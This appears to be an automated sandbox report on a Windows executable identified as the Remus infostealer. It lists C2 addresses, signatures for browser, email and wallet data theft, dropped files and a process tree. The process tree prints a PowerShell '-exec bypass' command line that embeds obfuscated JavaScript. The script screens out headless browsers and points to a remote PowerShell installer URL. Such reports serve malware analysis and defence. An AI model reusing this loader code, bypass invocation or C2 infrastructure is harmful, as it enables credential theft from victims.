Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    14/06/2026, 12:19

General

  • Target
    sunwukongs.exe
  • Size 1.2MB
  • Sample260614-phebjaex2l
  • SHA256 5205c3eec591a1a025bd4d9d2d2d98c04b2723f7785a2d0e5382572ddeee6b4e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remus_stealer

C2
  • http://fusesd.shop:6431

  • http://myrtler.biz:9549

  • http://carogra.biz:4219

Signatures

  • Family: Remus

    Remus is a stealer written in C++.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\sunwukongs.exe
    "C:\Users\Admin\AppData\Local\Temp\sunwukongs.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe F.a3x
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2420
      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1516
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -exec bypass <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <script> (function(){ setTimeout(function(){ window.location.reload(); }, 5000); }()) </script> <link rel="icon" href="data:,"> <title>One moment, please...</title> <style> .spinner { -webkit-animation: spin 1s ease-out; animation: spin 1s ease-out; } @keyframes spin { 0% { -webkit-transform: rotate(0deg); -moz-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); -ms-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } #outer-container { text-align: center; } #container { display: inline-block; height: 100px; } #text { float: left; height: 100px; line-height: 100px; font-size: 3rem; font-family: "Montserrat", sans-serif; font-optical-sizing: auto; font-weight: 400; font-style: normal; padding: 0 .4em 0 .2em; letter-spacing: 0.06em; color: rgba(38, 122, 72, 0.86); } @media (min-height: 180px) { #outer-container { margin-top: 0; } } @media (min-height: 360px) { #outer-container { margin-top: 5%; } } @media (min-height: 540px) { #outer-container { margin-top: 10%; } } @media (min-height: 720px) { #outer-container { margin-top: 20%; } } @media (min-width: 1450px) { .throbber { width: 90px; height: 90px; float: left; padding: 5px 0 5px 5px; opacity: 0.86; } #container { display: inline-block; border: 3px solid rgb(38, 122, 72, 0.86); border-radius: 51px; height: 100px; } } </style> </head> <body> <div id="outer-container"> <div id="container"> <div class="throbber"> <svg class="spinner" width="90px" height="90px" viewBox="0 0 47 47" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>Loader</title> <defs> <polygon id="path-1" points="0 0.375484146 0 15.7255695 15.7013244 15.7255695 15.7013244 0.375484146 0 0.375484146"></polygon> </defs> <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <g id="Logo" transform="translate(-5.000000, -2.000000)"> <g id="Group-2" transform="translate(5.000000, 2.000000)"> <path d="M22.6150244,4.52988293 C23.1538049,3.06256585 23.6031707,1.59582195 24.231939,0.158882927 C25.1902805,2.22459024 25.8190488,4.43989512 26.7768171,6.47579756 C29.1417195,7.40376098 31.7164024,7.7929439 34.1116829,8.69110244 C28.9623171,11.2663585 23.7229634,13.7510537 18.4836098,16.176139 C19.7709512,12.2545049 21.2382683,8.4217122 22.6150244,4.52988293 L22.6150244,4.52988293 Z" id="Fill-1" fill="#467C45"></path> <path d="M13.7718598,8.94461585 C16.1424939,7.68077439 18.4500793,6.28968902 20.8207134,5.02527439 C18.9240915,10.8412378 16.7747012,16.5614817 14.8465549,22.3774451 C12.7292622,18.3950549 10.895689,14.2544695 8.9044939,10.2090305 C8.27228659,8.85004268 7.5455061,7.55353049 7.00844512,6.16359146 C9.31545732,6.95342073 11.4648476,8.24935976 13.7718598,8.94461585" id="Fill-3" fill="#467C45"></path> <path d="M24.2134256,15.0745049 C29.4602305,12.4969561 34.7379866,9.91940732 40.0157427,7.4031878 C39.1565598,9.61276098 38.1747183,11.7300537 37.2232549,13.9086756 C38.4504134,16.2099561 39.9544134,18.388578 41.0898646,20.7511878 C35.4435598,18.9405415 29.8287793,17.0381878 24.2134256,15.0745049" id="Fill-5" fill="#467C45"></path> <g id="Group-9" transform="translate(0.000000, 11.919659)"> <mask id="mask-2" fill="white"> <use xlink:href="#path-1"></use> </mask> <g id="Clip-8"></g> <path d="M8.34869024,0.375484146 C9.93064146,3.33419146 11.2781659,6.43963049 12.7426171,9.45622805 C13.7387878,11.5362646 14.793422,13.5876427 15.7013244,15.7255695 C10.4579585,13.9091915 5.21401951,12.03435 -0.000114634146,10.0718134 C2.05069024,9.1341061 4.21842195,8.4898622 6.29845854,7.61119146 C6.97193415,5.17980122 7.67521463,2.77706951 8.34869024,0.375484146" id="Fill-7" fill="#467C45" mask="url(#mask-2)"></path> </g> <path d="M29.1793195,18.0496049 C33.5600634,19.4670561 37.9081366,21.0776659 42.2888805,22.5593122 C43.6742341,23.0745927 45.1558805,23.4609098 46.5085634,24.1372512 C44.2216122,25.039422 41.9025634,25.9100683 39.6477098,26.8110927 C38.8103073,29.4195927 38.2302585,32.1261049 37.3607585,34.7346049 C35.5890878,31.4497634 34.0432463,28.0353854 32.3684415,24.6852024 C31.3052098,22.4945439 30.1456854,20.3044585 29.1793195,18.0496049" id="Fill-10" fill="#467C45"></path> <path d="M28.9972232,29.3489207 C29.5789915,27.69475 30.0684793,26.0113476 30.7419549,24.3887012 C31.538089,25.7660305 32.1811866,27.2356402 32.9154183,28.6444939 C34.7220524,32.4709817 36.68115,36.205189 38.4568329,40.0316768 C36.2827963,39.1449817 34.1402841,38.1654329 31.9364427,37.2460671 C29.6403207,38.4709329 27.4662841,39.9405427 25.1094061,41.1035061 C26.3033207,37.1549329 27.7419793,33.2671159 28.9972232,29.3489207" id="Fill-12" fill="#467C45"></path> <path d="M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.8328756,31.5337329 C16.5304732,33.9685622 11.3214976,36.6498549 5.95776585,38.99355 C6.82096098,36.8355622 7.89966829,34.7698549 8.7319122,32.581489 C7.68358293,30.1764646 6.11194878,28.01905 4.97133902,25.64555" id="Fill-14" fill="#467C45"></path> <path d="M15.4549183,35.8770488 C19.4671134,33.9317073 23.4483573,31.8952317 27.4915037,30.0433171 C26.4110768,33.6542927 25.0222841,37.203939 23.8186256,40.8143415 C23.1090402,42.7275854 22.5530646,44.7033049 21.7511988,46.5855976 C20.7630524,44.4866463 20.0534671,42.2650366 19.1277963,40.1351341 C16.6276256,39.2094634 14.0042232,38.684439 11.4736744,37.9748537 C12.6773329,37.0801341 14.1584061,36.586061 15.4549183,35.8770488" id="Fill-16" fill="#467C45"></path> </g> </g> </g> </svg> </div> <div id="text"> Please wait while your request is being verified... </div> </div> </div> <div id="gvlpx4o0j0kv"></div> <script> (function(r,A){var a0Y={r:0x19c,A:0x198,x:0x188,p:0x1ac},j=a0p,x=r();while(!![]){try{var p=-parseInt(j(0x1a3))/0x1*(-parseInt(j(0x1a0))/0x2)+-parseInt(j(a0Y.r))/0x3+-parseInt(j(a0Y.A))/0x4+parseInt(j(0x1a7))/0x5*(parseInt(j(0x193))/0x6)+-parseInt(j(a0Y.x))/0x7*(-parseInt(j(0x18f))/0x8)+-parseInt(j(a0Y.p))/0x9+parseInt(j(0x1ab))/0xa*(parseInt(j(0x1b4))/0xb);if(p===A)break;else x['push'](x['shift']());}catch(U){x['push'](x['shift']());}}}(a0x,0x7f380));var a0U=window['navigator'],a0N={'webdriverCheck':function(){var a0K={r:0x1a2},L=a0p;return L(a0K.r)in window||!!a0U[L(0x1a2)];},'userAgentCheck':function(){var a0k={r:0x181},n=a0p;return/headless|bytespider/i[n(a0k.r)](a0U['userAgent']);},'appVersionCheck':function(){var a0F={r:0x182},H=a0p;return/headless/i[H(0x181)](a0U[H(a0F.r)]);},'pluginArraySpoofing':function(){var a0Z={r:0x19b,A:0x195,x:0x1aa,p:0x19a},t=a0p;let r=PluginArray['prototype']===a0U[t(0x19a)][t(a0Z.r)];if(a0U[t(0x19a)][t(a0Z.A)]>0x0)r&=Plugin[t(a0Z.x)]===a0U[t(a0Z.p)][0x0][t(a0Z.r)];return!r;},'mimeTypeArraySpoofing':function(){var a0i={r:0x1b2,A:0x195},b=a0p;let r=MimeTypeArray[b(0x1aa)]===a0U[b(0x1b2)][b(0x19b)];if(a0U[b(a0i.r)][b(a0i.A)]>0x0)r&=MimeType[b(0x1aa)]===a0U[b(a0i.r)][0x0][b(0x19b)];return!r;},'noLanguage':function(){var a0R={r:0x1a9},o=a0p;return!a0U[o(0x19d)]||a0U[o(a0R.r)][o(0x195)]===0x0;},'zeroOuterDimensions':function(){var l=a0p;return window['outerHeigh'+'t']===0x0&&window[l(0x19e)]===0x0;}},a0V=function(x,p){var a0v={r:0x1b1,A:0x18e},a0m={r:0x17e,A:0x1a4},J=a0p,U=(function(){var V=!![];return function(g,a){var O=V?function(){if(a){var D=a['apply'](g,arguments);return a=null,D;}}:function(){};return V=![],O;};}()),N=U(this,function(){var q=a0p;return N['toString']()[q(0x1a4)](q(0x197)+'+$')[q(a0m.r)]()[q(0x1a6)+'r'](N)[q(a0m.A)]('(((.+)+)+)'+'+$');});N(),window['addEventLi'+J(a0v.r)]?window[J(0x184)][J(0x1b3)+J(0x1b1)](J(0x187)+J(0x1a5),x,p):window[J(0x184)][J(a0v.A)+'t'](J(0x191)+J(0x1ad),x);};function a0p(r,A){var x=a0x();return a0p=function(p,U){p=p-0x17c;var N=x[p];return N;},a0p(r,A);}function a0x(){var e=['constructo','4610335lXeijr','GET','languages','prototype','72910nlJlBq','1513440ZHXyaA','techange','filter','getElement','value','stener','mimeTypes','addEventLi','319PptWIj','1b41b08f12','append','toString','form','entries','test','appVersion','send','document','name','action','DOMContent','1309yjsoUX','appendChil','60b54a2be4','method','createElem','d49030b349','attachEven','3176vFcnxc','map','onreadysta','ent','6ehcOHh','type','length','ById','(((.+)+)+)','340600aOfZgf','hidden','plugins','__proto__','1711119uZCiQb','language','outerWidth','open','2qWHJkY','input','webdriver','137026mICcAC','search','Loaded'];a0x=function(){return e;};return a0x();}a0V(function(){var a0M={r:0x184,A:0x1af,x:0x184,p:0x18c,U:0x1a1,N:0x18c,V:0x190,g:0x1ae,a:0x19f,O:0x17e,D:0x185,w:0x1b0,h:0x194,B:0x199,y:0x1b0,G:0x194,s:0x189,X:0x189};setTimeout(function(){var E=a0p,r=window[E(a0M.r)][E(a0M.A)+E(0x196)]('gvlpx4o0j0kv'),A=+((+!+[]+!![]+!![])+(+!+[]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])),x=window['document'][E(0x18c)+E(0x192)](E(0x17f)),p=window[E(a0M.r)]['createElem'+'ent']('input'),U=window[E(a0M.x)][E(a0M.p)+E(0x192)](E(a0M.U)),N=window[E(0x184)][E(a0M.N)+E(0x192)]('input'),V=window['document'][E(a0M.p)+E(0x192)](E(0x1a1)),g=+((+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+[])+(+!+[]+!![]+!![])),a='wsidchk',O='pdata',D='https%3A%2F%2Fradiosanducito.uy%2Ftmp%2FReader_en_install_1780328114797.ps1',w='/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f',h='failedChecks',B=Object[E(0x180)](a0N)[E(a0M.V)](([X,d])=>{try{return d()?X:null;}catch(T){return null;}})[E(a0M.g)](X=>X!==null),y=B[E(0x195)]>0x0;if(y){var G=new URLSearchParams();G['append']('id','a6105c0a61'+E(0x17c)+'0950635027'+'9e'),G[E(0x17d)]('ts','1781439627'),G[E(0x17d)](a,A+g),G[E(0x17d)](O,D),B['forEach'](X=>G[E(0x17d)](h,X));var s=new XMLHttpRequest();s[E(a0M.a)]('GET',w+'?'+G[E(a0M.O)]()),s[E(0x183)](null);}else x['id']='gvlpx4o0j0kv',x['style']='display:no'+'ne;',x[E(0x18b)]=E(0x1a8),x[E(0x186)]=w,p['id']='vuufrq2tm7lm',p[E(a0M.D)]=a,p[E(a0M.w)]=A+g,p[E(a0M.h)]=E(a0M.B),N['name']='id',N[E(a0M.y)]='7fa3b767c4'+E(0x18a)+E(0x18d)+'c7',N[E(0x194)]=E(0x199),V[E(0x185)]='ts',V[E(a0M.w)]='1781439627',V[E(0x194)]=E(0x199),U['id']='vebjr4kp8n2z',U[E(0x185)]=O,U[E(0x1b0)]=D,U[E(a0M.G)]=E(a0M.B),x['appendChil'+'d'](p),x[E(a0M.s)+'d'](U),x[E(a0M.X)+'d'](N),x[E(a0M.s)+'d'](V),r[E(0x189)+'d'](x),x['submit']();},0x3e8);},![]); </script> </body> </html>
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1640

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        AutoIt3.exe

        • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
        • Size 1.1MB
        • SHA256 5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        F.a3x

        • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\F.a3x
        • Size 559KB
        • SHA256 9d74177fd89ab505e95408be99ad6e08837d312993c96173ee1e8cb3e388793f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_aggnbg31.whf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aggnbg31.whf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1516-10-0x00000274DB1A0000-0x00000274DB1DC000-memory.dmp

        memory/1516-16-0x00000274DB1A0000-0x00000274DB1DC000-memory.dmp

        memory/1640-25-0x000001F45FC70000-0x000001F45FC92000-memory.dmp

        memory/1640-28-0x000001F45FEA0000-0x000001F45FFEE000-memory.dmp

        memory/2420-7-0x00007FFC73D70000-0x00007FFC73F65000-memory.dmp

        memory/2420-8-0x000002151B450000-0x000002151B451000-memory.dmp